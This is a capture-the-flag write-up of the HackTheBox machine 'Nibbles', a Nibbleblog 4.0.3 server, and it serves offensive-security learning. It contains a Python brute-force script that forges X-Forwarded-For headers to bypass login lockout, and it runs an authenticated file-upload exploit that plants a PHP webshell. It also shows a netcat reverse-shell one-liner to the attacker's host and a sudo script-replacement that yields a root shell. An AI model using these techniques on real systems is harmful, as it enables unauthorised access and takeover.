CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Nibbles

linux nibbleblog brute-force ip-spoofing file-upload sudo

Nibbles is a Linux-based machine authored by mrb3n, with an average rating of 2.9 stars.

// Lessons Learned

  1. Spend more time trying ‘obvious’ default passwords (e.g. the name of the product), even if there isn’t an official one.
  2. Custom python scripts can be a more flexible & faster way of achieving Burp Intruder-type attacks (especially without a Professional licence).

// Recon

┌──(kali㉿kali)-[~/HTB/nibbles]
└─$ nmap -A -p- nibbles.htb 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-07 08:45 AEST
Nmap scan report for nibbles.htb (10.10.10.75)
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.45 seconds

Nmap reveals the target is likely running Ubuntu Linux and hosting a minimal set of services:

Accessing the webserver via browser returns the briefest of pages:

A closer inspection of the raw response however, identifies something more interesting:

HTTP/1.1 200 OK
Date: Wed, 06 Jul 2022 22:54:03 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
ETag: "5d-5616c3cf7fa77-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 93
Connection: close
Content-Type: text/html

<b>Hello world!</b>

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Accessing this hidden /nibbleblog/ url returns a blog / CMS type page:

Exmaining the page source this time reveals several links to PHP pages:

<a href="/nibbleblog/index.php?controller=blog&amp;action=view&amp;category=uncategorised">Uncategorised</a>

as well as related sessions headers:

Set-Cookie: PHPSESSID=s64n5okl50kovqltuu4uja9m14; path=/

This gives us a better idea of the server-side languages available, which will likely be useful as we progress. Also within the source is a script tag with an interesting-looking path:

<script src="/nibbleblog/admin/js/jquery/jquery.js"></script>

If we attempt to browse to /nibbleblog/admin, we’re able to access a directory listing of that folder, likely due to misconfiguration of the Apache mod_dir module that permits directory indexes:

Within these directories are the site’s .php files, which could obviously tell us a lot about how the site functions. Unfortunately we can’t view the source of these files directly, since the server has been configured to process them server-side and deliver their output as response (which usually manifests as an error when unexpected requests are made):

There are however, a large number of .bit files also available. Some reasearch indicates these files belong to a Bit project, a component-driven approach that tries to simplify software development. These files contain exactly the same kind of PHP code as the .php files mentioned, but the distinction here is that their content is readable, as the server does not automatically process them:

It takes some searching to find anything relevant in the files, but eventually we get a hit in the /nibbleblog/admin/boot/rules/98-constants.bit file:

This file confirms the site is using version 4.0.3 of the Nibbleblog framework. Searching with this data reveals an Arbitrary File Upload exploit, but only in an authenticated context.

// Initial Foothold

We do however now have enough information to download the full project code and examine it more easily for potential weaknesses, which is often a much faster process that pure blackbox testing. The install.php file, for example, references an admin.php url:

''=>'<a href="./admin.php">'.$blog_address.'admin.php</a>',

Visiting this url on the target presents us with an admin login page:

While Nibbleblog does not seem to have any default credentials, we can still try some obvious combinations (administrator / administrator, admin / password etc.) None of these seem to work, and after several failed attempts the target actually locks us out with the following error:

Nibbleblog security error - Blacklist protection

Searching through the CMS source code reveals the implementation of the blacklist in db_users.class.php:

public function set_blacklist()
{
  $ip = Net::get_user_ip();
  $current_time = time();

  $node = $this->xml->xpath('/users/blacklist[@ip="'.utf8_encode($ip).'"]');

  // IP dosen't exist
  if(empty($node))
  {
    if( count( $this->xml->users->blacklist ) >= BLACKLIST_SAVED_REQUESTS )
      unset( $this->xml->users->blacklist[0] );

    // Add the table
    $node = $this->xml->addChild('blacklist','');

    // Add the key
    $node->addAttribute('ip', $ip);

    // Add the registers
    $node->addChild('date', $current_time);
    $node->addChild('fail_count', 1);

    error_log('Nibbleblog: Blacklist - New IP added - '.$ip);
  }
  ...

The CMS appears to be using IP-based blacklisting for failed login attempts. The user’s IP is determined by calling Net::get_user_ip(), which is implemented in net.class.php:

public static function get_user_ip()
	{
		if(getenv('HTTP_X_FORWARDED_FOR'))
			$ip = getenv('HTTP_X_FORWARDED_FOR');
		elseif(getenv('HTTP_CLIENT_IP'))
			$ip = getenv('HTTP_CLIENT_IP');
		else
			$ip = getenv('REMOTE_ADDR');

		if(filter_var($ip, FILTER_VALIDATE_IP))
			return $ip;

		return getenv('REMOTE_ADDR');
	}

The function will check a sequence of variables to determine the IP, taking whichever is first available. The initial check is for an environment variable HTTP_X_FORWARDED_FOR, which is often the equivalent of the the X-Forwarded-For HTTP Header. This suggests that, as long as we provide a valid IP address to satisfy the FILTER_VALIDATE_IP filter being used, the blacklist protection can be bypassed by supplying a constantly changing X-Forwarded-For header. This opens the server up to potential brute-force attacks, whereby a large number of possible logins can be attempted in a short period of time.

Such attacks are usually most successful (and much faster) if a username is already known. Searching through the source code further reveals there should be a list of users available as an XML file somewhere on the target:

# install.php
$xml  = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>';
$xml .= '<users>';
$xml .= '</users>';
$obj = new NBXML($xml, 0, FALSE, '', FALSE);
$node = $obj->addGodChild('user', array('username'=>$_POST['username']));
$node->addChild('id', 0);
$node->addChild('session_fail_count', 0);
$node->addChild('session_date', 0);
$obj->asXml( FILE_XML_USERS );

FILE_XML_USERS is a constant defined in 1-fs_php.bit as:

define('FILE_XML_USERS',		PATH_PRIVATE . 'users.xml');

From here, we just need to follow the chain of path definitions up to find the likely directory:

define('PATH_PRIVATE',			PATH_CONTENT.'private/');
...
define('PATH_CONTENT', './content/');

This suggests that we should visit to http://nibbles.htb/nibbleblog/content/private/users.xml to access the user list. When we do, there is only one username defined:

Now that the username admin has been identified, we can implement a brute-force solution. Tools like Burp Intruder usually make this quite easy, but there are a couple of reasons to write a custom solution here:

  1. a large number of passwords may need to be attempted, and each will require a unique forged IP address. Burp doesn’t seem to carry this kind of IP-incrementing behaviour (at least not in Intruder) so if we needed to brute force a thousand passwords, for example, we would need a file with a thousand unique IP addresses.
  2. unless running Burp Professional, there is inbuilt rate-limiting applied to intruder attacks. This makes large wordlists very slow to execute.

Thankfully, writing a solution in python using asynchronous requests is relatively straightforward:

import httpx
import asyncio
client = httpx.AsyncClient(proxies="http://localhost:8080")
limit = asyncio.Semaphore(4)

async def check_password(headers, payload):
    async with limit:
        resp = await client.post("http://nibbles.htb/nibbleblog/admin.php", headers=headers, data=payload)

        if "Incorrect username or password" in resp.text:
            check = 'invalid password'
        else:
            check = 'password found'

        outcome = {"client": headers["X-Forwarded-For"], "status": resp.status_code,
                   "size": len(resp.text), "result": check, "password": payload['password']}
        print(outcome)
        return outcome

# Prepare a request for each password, with an accompanying unique IP
async def prepare_requests():
    tasks = []

    # Initial address
    ip = [192, 168, 0, 1]
    with open("nmap.lst", "r") as f:
        for line in f:
            # Prepare address
            if ip[3] == 255:
                # increment third octet, restart fourth
                ip[2] += 1
                ip[3] = 1

            headers = {
                'X-Forwarded-For': ".".join(map(str, ip))
            }

            ip[3] += 1

            payload = {
                'username': 'admin',
                'password': line.strip()
            }

            tasks.append(asyncio.create_task(check_password(headers, payload)))

    print("awaiting responses:")
    all_tasks = await asyncio.gather(*tasks)
    print("done")

if __name__ == "__main__":
    asyncio.run(prepare_requests())

This script generates a new request for each password in the supplied list (nmap.lst from /usr/share/wordlists in Kali Linux) and pairs it with a unique IP. The IP handling code is capable of generating unique addresses for each request, while still keeping them valid. The wordlist used contains 5000 passwords, but the script can complete the task in less than 10 minutes (faster performance is probably possible by removing the use of Sempahore, but an initial run using unrestricted requests had the effect of overwhelming the server and it started returning 500 errors). At the end, our script log contains what we’re after:

{'client': '192.168.51.79', 'status': 302, 'size': 0, 'result': 'password found', 'password': 'nibbles'}

A password that matches the software in use is so common that it really should have been manually attempted to begin with, rather than jumping to an immediate scripted brute-force attack. Live and learn. With the login retrieved we can now access the admin page:

There isn’t much available through the UI, except for confirming that the list of installed plugins includes my_image, which is required for the file upload exploit to work. Execution is straightforward, in this case a basically php-based webshell shell.php is being uploaded:

┌──(kali㉿kali)-[~/github/dix0nym/CVE-2015-6967]                                                                          
└─$ python exploit.py --url http://nibbles.htb/nibbleblog/ --username admin --password nibbles --payload ~/HTB/nibbles/she
ll.php                                                                                                                    
[+] Login Successful.                                                                                                     
[+] Upload likely successfull.                                                                                            
[+] Exploit launched, check for shell.

The resulting path of the shell is not immediately obvious, but a similar exploit on PacketStorm confirms the path we’re looking for is /nibbleblog/content/private/plugins/my_image/image.php:

which bsd confirms that BSD-style netcat is installed on the system. This can be used to establish a reverse shell to Penelope running as a listener on the attack box:

# through webshell
mkfifo /tmp/lol; nc 10.10.17.230 443 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol

# on attack box
┌──(kali㉿kali)-[~/github/brightio/penelope]
└─$ python penelope.py 443
[+] Listening for reverse shells on 0.0.0.0 🚪443 
[+] Got reverse shell from 🐧 nibbles.htb~10.10.10.75 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/nibbles.htb~10.10.10.75/nibbles.htb~10.10.10.75.log 📜
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$

From here, we can navigate to the /home folder and retrieve the user flag:

nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
nibbler@Nibbles:/home$ ls
nibbler
nibbler@Nibbles:/home$ cd nibbler
nibbler@Nibbles:/home/nibbler$ ls
personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
99488***************************

// Privilege Escalation

Only basic enumeration is required to identify the path to root runs through sudo:

nibbler@Nibbles:/home/nibbler$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Our user is able to run the /home/nibbler/personal/stuff/monitor.sh script as root, and the file itself is world-writeable once personal.zip is decompressed:

nibbler@Nibbles:/home/nibbler$ unzip personal.zip 
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh  
nibbler@Nibbles:/home/nibbler$ ls -l personal/stuff/monitor.sh 
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 personal/stuff/monitor.sh

The monitor.sh script looks to perform some kind of server monitoring. It could be edited directly, or we can just move it aside and create a replacement that provides a root shell:

nibbler@Nibbles:/home/nibbler/personal/stuff$ mv monitor.sh monitor.sh.bkp
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo -e '#!/bin/bash\n/bin/sh -i' > monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh

Executing the script via sudo is the final step, allowing retrieval of the root flag:

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
# whoami
root
# cd ~root
# cat root.txt
573cf***************************